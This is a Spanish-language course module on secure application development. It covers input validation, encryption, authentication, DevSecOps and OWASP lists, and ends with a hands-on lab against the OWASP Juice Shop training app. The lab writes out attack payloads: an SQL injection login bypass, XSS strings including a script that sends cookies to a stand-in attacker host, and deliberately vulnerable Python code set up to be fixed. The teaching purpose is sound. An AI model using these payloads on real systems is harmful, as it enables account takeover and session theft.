Seguridad en el desarrollo de aplicaciones

Objetivos: Al terminar este tema, podrás…

  • Implementar las técnicas fundamentales de seguridad en aplicaciones web y móviles
  • Reconocer y prevenir las vulnerabilidades más comunes (OWASP Top 10)
  • Integrar prácticas de seguridad en el ciclo de desarrollo (DevSecOps)
  • Diseñar arquitecturas de aplicaciones con seguridad desde el inicio

El ingeniero de seguridad en desarrollo de software

La seguridad en aplicaciones no es un “add-on” al final del desarrollo. Como ingeniero de seguridad, tu rol es:

  1. Definir requisitos de seguridad desde la fase de diseño
  2. Revisar código en busca de vulnerabilidades
  3. Implementar controles técnicos de protección
  4. Realizar pruebas de seguridad antes del despliegue
  5. Monitorear comportamiento en producción

La regla fundamental: el costo de corregir una vulnerabilidad aumenta 10x en cada fase del desarrollo. Encontrarla en diseño cuesta 10,000.


Técnicas fundamentales de seguridad

1. Validación de entradas

Principio: Nunca confiar en datos que provienen del usuario o de sistemas externos.

Regla de oro: Validar en el servidor, sanitizar para el contexto de uso.

Estrategias de validación

EstrategiaDescripciónEjemplo
WhitelistAceptar solo valores conocidosSolo letras y números
BlacklistRechazar valores peligrososBloquear <script> (menos seguro)
FormatoVerificar estructura esperadaEmail: regex para formato válido
RangoVerificar límitesEdad: 0-150, monto: > 0
TipoVerificar tipo de datoNúmero, no string

Vulnerabilidades que previene

SQL Injection:

-- Entrada maliciosa: ' OR '1'='1
-- Consulta vulnerable:
SELECT * FROM users WHERE username = '' OR '1'='1'
 
-- Solución: Prepared statements
SELECT * FROM users WHERE username = ?

Cross-Site Scripting (XSS):

<!-- Entrada maliciosa: <script>robarCookies()</script> -->
<!-- Renderizado vulnerable: -->
<p>Hola <script>robarCookies()</script></p>
 
<!-- Solución: Escapar salida según contexto -->
<p>Hola &lt;script&gt;robarCookies()&lt;/script&gt;</p>

Implementación:

  • Usar ORMs con prepared statements (no concatenar SQL)
  • Implementar Content Security Policy (CSP)
  • Escapar salida según contexto (HTML, JavaScript, URL)
  • Usar bibliotecas de sanitización probadas (no reinventar)

2. Cifrado de datos

Principio: Proteger datos sensibles tanto en tránsito como en reposo.

Cifrado en tránsito

ControlImplementaciónVerificación
TLS 1.3Configurar servidor webSSL Labs: A+ rating
HSTSHeader Strict-Transport-SecurityBrowser devtools
Certificate pinningHardcodear hash de certificado (móviles)Proxy testing

Cifrado en reposo

DatoTécnicaImplementación
ContraseñasHash + saltbcrypt, Argon2id (NO MD5, SHA1)
Datos sensiblesCifrado simétricoAES-256-GCM
Claves de APIGestión de secretosVault, AWS Secrets Manager
PIITokenizaciónReemplazar con tokens no reversibles

Gestión de claves

❌ Incorrecto:
- Claves en código fuente
- Claves en variables de entorno sin protección
- Misma clave para todos los ambientes

✅ Correcto:
- HSM o servicio de gestión de secretos
- Rotación periódica de claves
- Claves diferentes por ambiente (dev, staging, prod)
- Logs de acceso a claves

3. Autenticación y autorización

Autenticación segura

ControlImplementaciónJustificación
MFA obligatorioTOTP, WebAuthn, SMS (último recurso)Mitiga robo de credenciales
Bloqueo de cuentaDespués de N intentos fallidosPreviene fuerza bruta
Hashing de contraseñasbcrypt/Argon2id, work factor altoProtege si BD es comprometida
Sesiones segurasHttpOnly, Secure, SameSite cookiesPreviene robo de sesión
ExpiraciónSesiones con timeout, refresh tokensLimita ventana de ataque

Autorización segura

Principio: Verificar permisos en cada request, en el servidor.

# ❌ Incorrecto: Solo verificar en frontend
def get_order(order_id):
    return Order.get(order_id)  # Cualquiera puede ver cualquier orden
 
# ✅ Correcto: Verificar en backend
def get_order(order_id, current_user):
    order = Order.get(order_id)
    if order.user_id != current_user.id:
        raise AuthorizationError("No tienes permiso")
    return order

Vulnerabilidades comunes

VulnerabilidadDescripciónControl
IDORAcceso a recursos de otros usuarios manipulando IDVerificar propiedad en cada request
Privilege escalationUsuario obtiene permisos de adminVerificar roles en backend
Session fixationAtacante fija ID de sesiónRegenerar sesión post-login
JWT sin validaciónAceptar tokens sin verificar firmaValidar firma y claims

4. Gestión de permisos y APIs

Diseño de APIs seguras

PrincipioImplementación
AutenticaciónAPI keys, OAuth 2.0, JWT con firma
Rate limitingLímites por IP, usuario, endpoint
ValidaciónSchema validation (OpenAPI)
VersionadoURLs versionadas (/v1/, /v2/)
LoggingRegistrar todas las llamadas

OWASP API Security Top 10

#VulnerabilidadControl
1Broken Object Level AuthorizationVerificar propiedad del objeto
2Broken AuthenticationMFA, rate limiting, tokens seguros
3Broken Object Property Level AuthFiltrar campos por rol
4Unrestricted Resource ConsumptionRate limiting, pagination
5Broken Function Level AuthorizationVerificar permisos por endpoint

5. Pruebas de seguridad

Tipos de pruebas

TipoCuándoHerramientasQué detecta
SASTDurante desarrolloSonarQube, SemgrepVulnerabilidades en código
DASTEn ambiente de pruebasOWASP ZAP, Burp SuiteVulnerabilidades en ejecución
SCAIntegración continuaSnyk, DependabotDependencias vulnerables
PentestingPre-producciónManual + herramientasVulnerabilidades complejas

Integración en CI/CD

# Pipeline de seguridad
stages:
  - lint
  - test
  - security-sast      # Análisis estático
  - security-sca       # Dependencias
  - build
  - security-dast      # Análisis dinámico
  - deploy

DevSecOps: Seguridad integrada

Shift Left

La seguridad se “desplaza a la izquierda” del ciclo de desarrollo:

Tradicional:  [Diseño] → [Desarrollo] → [Pruebas] → [Despliegue] → [SEGURIDAD]
                                                                      ↑ Costoso

DevSecOps:    [Diseño] → [Desarrollo] → [Pruebas] → [Despliegue]
                  ↑           ↑            ↑            ↑
              Seguridad   Seguridad    Seguridad    Seguridad

Prácticas por fase

FasePráctica de seguridadResponsable
DiseñoThreat modeling, requisitos de seguridadSecurity engineer + Arquitecto
DesarrolloSecure coding, code review, SASTDesarrolladores + Security
BuildSCA, container scanningCI/CD pipeline
TestDAST, pentestingQA + Security team
DeployHardening, secrets managementDevOps + Security
OperateMonitoring, incident responseSRE + Security

Caso de estudio: Uber (2016)

Incidente: Exposición de datos de 57 millones de usuarios.

Vector de ataque:

  1. Desarrolladores almacenaron credenciales de AWS en repositorio GitHub
  2. Atacantes encontraron credenciales
  3. Accedieron a S3 buckets con datos de usuarios

Fallas de ingeniería:

  • Credenciales en código fuente (violación de gestión de secretos)
  • Sin rotación de credenciales
  • Sin monitoreo de acceso anómalo a S3
  • Sin escaneo de secretos en commits

Controles que habrían prevenido:

  1. Gestión de secretos (Vault, AWS Secrets Manager)
  2. Escaneo de secretos en CI/CD (git-secrets, truffleHog)
  3. Rotación automática de credenciales
  4. Alertas de acceso inusual a datos

Arquitectura de seguridad para aplicaciones

Capas de defensa

[Usuario] → [WAF] → [Load Balancer] → [API Gateway] → [Aplicación] → [BD]
               ↓           ↓               ↓              ↓           ↓
           DDoS        TLS          Auth/AuthZ       Validación   Cifrado
          mitigation  termination   Rate limiting    Sanitización  Backups

Componentes esenciales

ComponenteFunciónEjemplos
WAFFiltrar ataques conocidosAWS WAF, Cloudflare
API GatewayAutenticación, rate limitingKong, AWS API Gateway
Secrets ManagerGestión de credencialesVault, AWS Secrets Manager
SIEMCorrelación de eventosSplunk, ELK
EDRDetección en endpointsCrowdStrike, Carbon Black

Conceptos clave

TérminoDefinición
Validación de entradasVerificar que datos cumplen formato esperado antes de procesarlos
SQL InjectionAtaque que inserta SQL malicioso en consultas
XSSAtaque que inyecta scripts en páginas web
SASTStatic Application Security Testing - análisis de código fuente
DASTDynamic Application Security Testing - análisis en ejecución
DevSecOpsIntegración de seguridad en todo el ciclo de desarrollo
WAFFirewall especializado para aplicaciones web

Ponte a prueba

  1. Diseño de validación: Una API recibe datos de un formulario de registro (nombre, email, contraseña, fecha de nacimiento). Diseña las reglas de validación para cada campo y justifica tus decisiones.

  2. Análisis de código: Revisa este fragmento e identifica las vulnerabilidades:

def login(username, password):
    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    user = db.execute(query)
    return user
  1. Arquitectura: Diseña la arquitectura de seguridad para una aplicación de banca móvil. Incluye: autenticación, cifrado, validación, y monitoreo.

  2. DevSecOps: Tu equipo no tiene prácticas de seguridad en el pipeline de CI/CD. Propón un plan de implementación gradual con herramientas específicas.


Laboratorio práctico: Explotación y corrección de vulnerabilidades web

Tiempo estimado: 150 minutos Requisitos: Docker, navegador con DevTools, Python 3.8+ Ética: Solo practicar en aplicaciones vulnerables diseñadas para entrenamiento

Objetivo

Experimentar ataques reales contra una aplicación vulnerable, entender su impacto, y corregir el código para prevenir cada vulnerabilidad.

Preparación: OWASP Juice Shop

OWASP Juice Shop es una aplicación intencionalmente vulnerable para practicar seguridad web.

# Ejecutar Juice Shop
docker run -p 3000:3000 bkimminich/juice-shop
 
# Acceder a http://localhost:3000

Parte 1: SQL Injection (40 min)

Reto en Juice Shop: Login como administrador sin conocer la contraseña.

Exploración:

  1. Abre la página de login
  2. Abre DevTools → Network
  3. Intenta hacer login normal y observa la petición
  4. Analiza cómo se construye la consulta

Ataque:

Email: ' OR 1=1--
Password: (cualquier cosa)

¿Por qué funciona?

-- Consulta original:
SELECT * FROM Users WHERE email='usuario@email.com' AND password='hash'
 
-- Con la inyección:
SELECT * FROM Users WHERE email='' OR 1=1--' AND password='hash'
-- El -- comenta el resto, 1=1 siempre es verdadero

Ejercicio de corrección:

Corrige este código vulnerable:

# vulnerable.py - CÓDIGO INSEGURO
import sqlite3
 
def login_vulnerable(email, password):
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()
 
    # ❌ VULNERABLE: Concatenación de strings
    query = f"SELECT * FROM users WHERE email='{email}' AND password='{password}'"
    cursor.execute(query)
 
    return cursor.fetchone()
 
# Tu tarea: Reescribe usando prepared statements
def login_seguro(email, password):
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()
 
    # ✅ SEGURO: Usa placeholders
    # Tu código aquí...
    pass

Solución esperada:

def login_seguro(email, password):
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()
 
    # Prepared statement con placeholders
    query = "SELECT * FROM users WHERE email=? AND password=?"
    cursor.execute(query, (email, password))
 
    return cursor.fetchone()

Parte 2: Cross-Site Scripting (XSS) (35 min)

Reto en Juice Shop: Inyectar un script en la página de búsqueda.

Exploración:

  1. Usa la barra de búsqueda
  2. Observa cómo se refleja el término buscado en la URL y la página
  3. Prueba si el input es sanitizado

Ataque (Reflected XSS):

Buscar: <iframe src="javascript:alert('XSS')">

Ataque (Stored XSS): En el formulario de feedback o comentarios:

<script>document.location='http://atacante.com/robar?cookie='+document.cookie</script>

Ejercicio de corrección:

# vulnerable.py - CÓDIGO INSEGURO
from flask import Flask, request
 
app = Flask(__name__)
 
@app.route('/buscar')
def buscar_vulnerable():
    termino = request.args.get('q', '')
 
    # ❌ VULNERABLE: Inserción directa en HTML
    return f"<h1>Resultados para: {termino}</h1>"
 
# Tu tarea: Sanitiza la salida
@app.route('/buscar-seguro')
def buscar_seguro():
    termino = request.args.get('q', '')
 
    # ✅ SEGURO: Escapa caracteres HTML
    # Tu código aquí...
    pass

Solución esperada:

from markupsafe import escape
 
@app.route('/buscar-seguro')
def buscar_seguro():
    termino = request.args.get('q', '')
 
    # Escapar caracteres especiales HTML
    termino_seguro = escape(termino)
    return f"<h1>Resultados para: {termino_seguro}</h1>"

Defensa adicional - Content Security Policy:

@app.after_request
def agregar_csp(response):
    response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self'"
    return response

Parte 3: Insecure Direct Object Reference (IDOR) (30 min)

Reto en Juice Shop: Acceder al carrito de compras de otro usuario.

Exploración:

  1. Crea una cuenta y agrega items al carrito
  2. Observa las peticiones en DevTools
  3. Identifica el ID del carrito en las peticiones
  4. Intenta acceder a carritos de otros usuarios

Ataque:

GET /rest/basket/1  → Tu carrito
GET /rest/basket/2  → Carrito de otro usuario (¡no debería funcionar!)

Ejercicio de corrección:

# vulnerable.py - CÓDIGO INSEGURO
@app.route('/api/carrito/<int:carrito_id>')
def ver_carrito_vulnerable(carrito_id):
    # ❌ VULNERABLE: No verifica propiedad
    carrito = Carrito.query.get(carrito_id)
    return jsonify(carrito.items)
 
# Tu tarea: Verifica que el usuario es dueño del carrito
@app.route('/api/carrito/<int:carrito_id>')
@login_required
def ver_carrito_seguro(carrito_id):
    # ✅ SEGURO: Verifica propiedad
    # Tu código aquí...
    pass

Solución esperada:

@app.route('/api/carrito/<int:carrito_id>')
@login_required
def ver_carrito_seguro(carrito_id):
    carrito = Carrito.query.get(carrito_id)
 
    if carrito is None:
        abort(404)
 
    # Verificar que el usuario actual es dueño del carrito
    if carrito.usuario_id != current_user.id:
        abort(403)  # Forbidden
 
    return jsonify(carrito.items)

Parte 4: Análisis estático con Semgrep (25 min)

Semgrep detecta vulnerabilidades en código automáticamente.

# Instalar Semgrep
pip install semgrep
 
# Crear archivo de prueba con vulnerabilidades
cat > app_vulnerable.py << 'EOF'
import sqlite3
import os
 
def consulta_insegura(user_input):
    conn = sqlite3.connect('db.sqlite')
    query = "SELECT * FROM users WHERE name = '" + user_input + "'"
    return conn.execute(query)
 
def ejecutar_comando(cmd):
    os.system(cmd)  # Vulnerable a command injection
 
def hash_inseguro(password):
    import hashlib
    return hashlib.md5(password.encode()).hexdigest()
EOF
 
# Ejecutar análisis
semgrep --config=p/python app_vulnerable.py

Ejercicio:

  1. Ejecuta Semgrep sobre el archivo de prueba
  2. Analiza los hallazgos reportados
  3. Clasifica cada vulnerabilidad según OWASP Top 10
  4. Corrige cada una y vuelve a ejecutar Semgrep

Salida esperada de Semgrep:

app_vulnerable.py
  python.lang.security.audit.dangerous-system-call
    Dangerous system call with user input
    Details: https://sg.run/...

  python.lang.security.audit.formatted-sql-query
    Possible SQL injection
    Details: https://sg.run/...

  python.lang.security.audit.insecure-hash-function
    Use of weak hash function MD5
    Details: https://sg.run/...

Parte 5: Reto integrador (20 min)

Usando Juice Shop, completa estos retos adicionales:

RetoVulnerabilidadDificultad
Acceso al scoreboardInformation Disclosure
Registrarte como adminBroken Access Control⭐⭐
Encontrar el archivo de backupSensitive Data Exposure⭐⭐
Subir archivo maliciosoUnrestricted File Upload⭐⭐⭐

Tip: El scoreboard de Juice Shop (/#/score-board) muestra todos los retos disponibles organizados por categoría y dificultad.

Entregable

Crea un reporte de vulnerabilidades que incluya:

  1. Resumen ejecutivo (1 párrafo)
  2. Por cada vulnerabilidad explotada:
    • Descripción del ataque
    • Pasos para reproducir
    • Impacto (usando CVSS si es posible)
    • Código vulnerable vs. código corregido
    • Controles adicionales recomendados
  3. Resultados de Semgrep:
    • Vulnerabilidades detectadas
    • Falsos positivos identificados
    • Propuesta de integración en CI/CD

Criterios de evaluación

CriterioPuntos
SQL Injection explotado y corregido20
XSS explotado y corregido20
IDOR explotado y corregido20
Análisis Semgrep completado15
Calidad del reporte15
Retos adicionales (bonus)+10

Reflexión

Después de completar el laboratorio:

  • ¿Qué tan fácil fue explotar estas vulnerabilidades?
  • ¿Por qué crees que estas vulnerabilidades siguen siendo tan comunes?
  • ¿Cómo cambiaría tu forma de escribir código después de este laboratorio?

Navegación:Anterior | Inicio | Siguiente: Control de acceso